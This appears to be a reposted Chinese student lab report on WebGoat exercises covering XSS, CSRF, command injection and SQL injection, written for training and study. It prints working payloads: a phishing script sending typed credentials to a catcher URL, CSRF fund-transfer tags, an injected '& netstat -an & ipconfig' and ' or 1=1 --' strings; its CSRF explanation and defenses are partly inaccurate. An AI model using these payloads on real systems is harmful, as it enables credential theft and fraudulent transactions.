码迷,mamicode.com
首页 > Web开发 > 详细

2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础

时间:2019-05-26 12:47:56      阅读:133      评论:0      收藏:0      [点我收藏+]

标签:protoc   常用   prope   包括   webgoat   反射   注释   das   name   

2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础

实验任务

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

基础问题回答

(1)SQL注入攻击原理,如何防御?

攻击原理:在用户名、密码输入框中输入一些类似‘,--,#的特殊字符,这些字符提交到后台数据库会与SQL语句拼接,从而实现引号闭合、注释部分SQL语句的目的,构成永真式,进而实现登录、显示信息等目的。
防御:可以在后台控制输入的长度,禁止用户输入例如 -- 、‘ 这类的特殊符号。

(2)XSS攻击的原理,如何防御?

攻击原理:攻击者在Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,诱骗用户或浏览器执行一些不安全操作。
防御:用户在浏览网页时,时刻注意,在填写类似用户名密码等信息时提高警惕。同时,网页编写时,过滤一些特殊字符如 ” < > & 等 ,将其转化为不被浏览器解释执行的字符。

(3)CSRF攻击原理,如何防御

攻击原理:CSRF就是冒名登录。攻击者的目的是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中。一旦用户进行了登录,Session就是用户的唯一凭证,攻击者得到Session后,就可以伪装成被害者进入服务器。
防御:定期清理cookie,不让浏览器记住密码,每次都手动输入。

实验过程

WebGoat准备

下载webgoat-container-7.0.1-war-exec.jar文件

在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,实验过程中不能关闭终端。

技术图片

在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,直接用默认用户名密码guest登录即可

技术图片

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS

将下面这段代码输入到Search:输入框中,点击search

<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.������ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

 

 结果会出现代码中所指定的黄、橙、灰三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。

技术图片

在登录框中输入用户名20165220,密码123456,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。

技术图片

Stored XSS Attacks 存储型XSS攻击

打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
在Message框中输入代码,Title为20165220test,并点击submit。

<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.������ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>

 

提交后,点击下方新增的链接20165220test。

技术图片

html注入成功,messege部分显示的是三色框,在下方输入用户名20165220,密码123456,点击提交后,成功获取用户名和密码。

技术图片

技术图片

 Reflected XSS Attacks 反射型XSS攻击

打开xss的第三个攻击Reflected XSS Attacks

在“Enter your three digit access code:”中输入

<script>alert("20165220test");</script>

成功显示警告框,内容为script脚本指定的内容。

技术图片  

CSRF攻击

Cross Site Request Forgery(CSRF)

打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)。

查看页面Parameters中的src和menu值,分别为314和900.

技术图片

在message框中输入

<img src="http://localhost:8080/WebGoat/attack?Screen=314&menu=900&transferFunds=5000" width="1" height="1" />

点击Submit提交

提交后,在下面中生成以Title命名的消息20165220test。点击该链接,当前页面就会下载这个消息并显示出来,从而达到CSRF攻击的目的。

技术图片

CSRF Prompt By-Pass

打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
同攻击4,查看页面Parameters中的src和menu值,分别为330和900.

技术图片

message框中输入代码

<iframe src="attack?Screen=330&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>

在Message List中生成链接"20165220test"。

点击链接,攻击成功:

技术图片

SQL注入攻击

Command Injection 命令注入

选择Injection Flaws中的第一项Command Injection,然后右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"。

技术图片

点击view,能看到网络端口使用情况和 IP 地址,攻击成功。

技术图片

 Numeric SQL Injection

选择Injection Flaws中的第二项Numeric SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1。

技术图片

攻击成功,显示所有城市的天气情况

技术图片

String SQL Injection 字符串型注入

选择Injection Flaws中的第四项String SQL Injection,输入查询的用户名hx‘ or 1=1--。

1=1是恒等式,又是查询条件,这样就能select表里面的所有数据,攻击成功。

技术图片

LAB:SQL Injection

选择Injection Flaws中的第五项LAB:SQL Injection,右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将密码最大长度maxlength改为100

技术图片

在密码框输入‘ or 1=1 --,成功登陆,攻击成功。

技术图片

实践总结与体会

这次实验主要是利用WebGoat工具,进行SQL注入攻击、XSS攻击、CSRF攻击。攻击原理主要是利用一些语句漏洞,通过修改这些语句进行攻击。

实验总体难度不算太大,学到了很多新的知识,最后一次实验到这里就结束了,不过对安全的探究应该才刚刚开始!!!

 

2018-2019-2 网络对抗技术 20165220 Exp 9 Web安全基础

标签:protoc   常用   prope   包括   webgoat   反射   注释   das   name   

原文地址:https://www.cnblogs.com/brs6666/p/10925633.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!